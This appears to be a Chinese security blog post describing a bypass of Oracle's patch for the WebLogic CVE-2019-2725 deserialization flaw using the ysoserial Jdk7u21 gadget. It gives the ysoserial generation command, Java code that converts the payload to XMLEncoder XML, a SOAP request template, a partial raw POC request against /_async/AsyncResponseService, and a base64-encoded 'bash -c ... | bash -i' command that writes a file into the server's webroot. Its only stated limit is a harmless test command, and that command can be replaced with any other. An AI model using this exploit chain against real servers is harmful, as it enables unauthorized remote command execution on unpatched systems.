绕过环境
1.CentOS7
2.weblogic 10.3.6 with Patch p27395085_1036_Generic
3.JDK 1.7(7u21)
环境检测
1.打过补丁的Weblogic10.3.6
Weblogic 10.3.6 with Patch p27395085_1036_Generic
2.JDK版本为JDK 1.7.0_21-b11(7u21)
JDK 1.7(7u21)
3.检查补丁效果
使用CVE-2017-10271的Payload进行检测。因为打过补丁的Weblogic会返回415状态码
415
绕过原理
根据今天云影实验室发的文章,我们不难看出Oracle官方将object、new、method关键字继续加入到黑名单中,并不会对byte相关属性进行屏蔽,这也就导致了可以使用byte流配合UnitOfWorkChangeSet加上JDK7U21原生的反序列化漏洞进行完美绕过。而Weblogic安装包中默认SDK为1.6版本,所以当被攻击机的JDK版本<=JDK7u21就存在原生反序列化漏洞。相关情况可参考文末的参考链接。
绕过方法
既然JDK7U21存在原生反序列化漏洞,那么我们绝对少不了ysoserial它的功劳。在ysoserial中就已经提供好了JDK7U21的payload。
ysoserial
我们首先需要利用ysoserial生成一个payload包java -jar ysoserial.jar Jdk7u21"需要执行的命令"> payload.txt
注意:这里生成payload包时,执行的命令需要进行Java Runtime 转义
例如ls
应该转义为bash -c {echo,bHM=}|{base64,-d}|{bash,-i}
生成以后,利用Java读取文件反序列化成java对象,再读取他的字节码,最后让xmlEncoder转成 xml格式。
下面给出部分参考代码参考自浅蓝
publicclassPayload{
publicstaticvoidmain(String[] args)throwsException{
ObjectInputStream objectInputStream = newObjectInputStream(newFileInputStream("payload.txt"));
Object o = objectInputStream.readObject();
byte[] bytes = ObjectToByte(o);
objectXmlEncoder(bytes , "payload.xml");
}
privatestaticbyte[] ObjectToByte(Object obj) {
byte[] bytes = null;
try{
// object to bytearray
ByteArrayOutputStream bo = newByteArrayOutputStream();
ObjectOutputStream oo = newObjectOutputStream(bo);
oo.writeObject(obj);
bytes = bo.toByteArray();
bo.close();
oo.close();
}catch (Exception e) {
System.out.println("translation" + e.getMessage());
e.printStackTrace();
}
returnbytes;
}
publicstaticvoidobjectXmlEncoder(Object obj,String fileName)
throwsFileNotFoundException,IOException,Exception
{
java.io.File file = newjava.io.File(fileName);
if(!file.exists()){
file.createNewFile();
}
java.io.BufferedOutputStream oop = newjava.io.BufferedOutputStream(newjava.io.FileOutputStream(file));
java.beans.XMLEncoder xe = newjava.beans.XMLEncoder(oop);
xe.flush();
//写入xml
xe.writeObject(obj);
xe.close();
oop.close();
}
}
最后我们拼接报文,即可得到完整报文,以下为报文模板
<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>oracle.toplink.internal.Sessions.UnitOfWorkChangeSet</string><void>
需要拼接的部分</void></class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
由于该漏洞危害性很大,且还有很多厂商至今并没有打CVE-2019-2725的补丁,所以只放出漏洞检测POC
POC
0.报文预览
报文预览
1.报文(报文太长,已在参考链接给出)
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.50.129:7001
Content-Length: 128564
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><arrayclass="byte"length="3131"><voidindex="0"><byte>-84</byte></void><voidindex="1"><byte>-19</byte></void><voidindex="2"><byte>0</byte></void><voidindex="3"><byte>5</byte></void><voidindex="4"><byte>115</byte></void><voidindex="5"><byte>114</byte></void><voidindex="6"><byte>0</byte></void><voidindex="7"><byte>23</byte></void><voidindex="8"><byte>106</byte></void><voidindex="9"><byte>97</byte></void><voidindex="10"><byte>118</byte></void><voidindex="11"><byte>97</byte></void><voidindex="12"><byte>46</byte></void><voidindex="13"><byte>117</byte></void><voidindex="14"><byte>116</byte></void><voidindex="15"><byte>105</byte></void><voidindex="16"><byte>108</byte></void><voidindex="17"><byte>46</byte></void><voidindex="18"><byte>76</byte></void><voidindex="19"><byte>105</byte></void><voidindex="20"><byte>110</byte></void><voidindex="21"><byte>107</byte></void><voidindex="22"><byte>101</byte></void><voidindex="23"><byte>100</byte></void><voidindex="24"><byte>72</byte></void><voidindex="25"><byte>97</byte></void><voidindex="26"><byte>115</byte></void><voidindex="27"><byte>104</byte></void><voidindex="28"><byte>83</byte></void><voidindex="29"><byte>101</byte></void><voidindex="30"><byte>116</byte></void><voidindex="31"><byte>-40</byte></void><voidindex="32"><byte>108</byte></void><voidindex="33">
此处省略
</class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
2.报文Payload核心命令
#Java Runtime转义前
echo"test by Shimizu Kawasaki" > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/qs.txt
#Java Runtime转义后
bash -c {echo,ZWNobyAidGVzdCBieSBTaGltaXp1IFNhd2FnYWtpIiA+IHNlcnZlcnMvQWRtaW5TZXJ2ZXIvdG1wL19XTF9pbnRlcm5hbC9iZWFfd2xzOV9hc3luY19yZXNwb25zZS84dHBreXMvd2FyL3FzLnR4dA==}|{base64,-d}|{bash,-i}
3.访问POChttp://192.168.50.129:7001/_async/qs.txt
访问POC
参考链接
1.云影实验室:Weblogic反序列化远程代码执行漏洞(cve-2019-2725)分析报告:
https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247484640&idx=1&sn=dad9a86e9d131f8d7e592e617f6235bb&chksm=fa5aaa0dcd2d231bc3d0e5c0394e6e47c859e1e0165cab3bbe01cecf32e0c915a8fb4e34f29d&mpshare=1&scene=1&srcid=#rd
2.浅蓝WebLogic wls9-async 反序列化漏洞:
https://b1ue.cn/archives/127.html
3.报文太长了,这里提供一个下载链接
链接: https://pan.baidu.com/s/1iQxOD09AJ0plI3xNoSi9hw 提取码: butn
原文由微信公众号国舜股份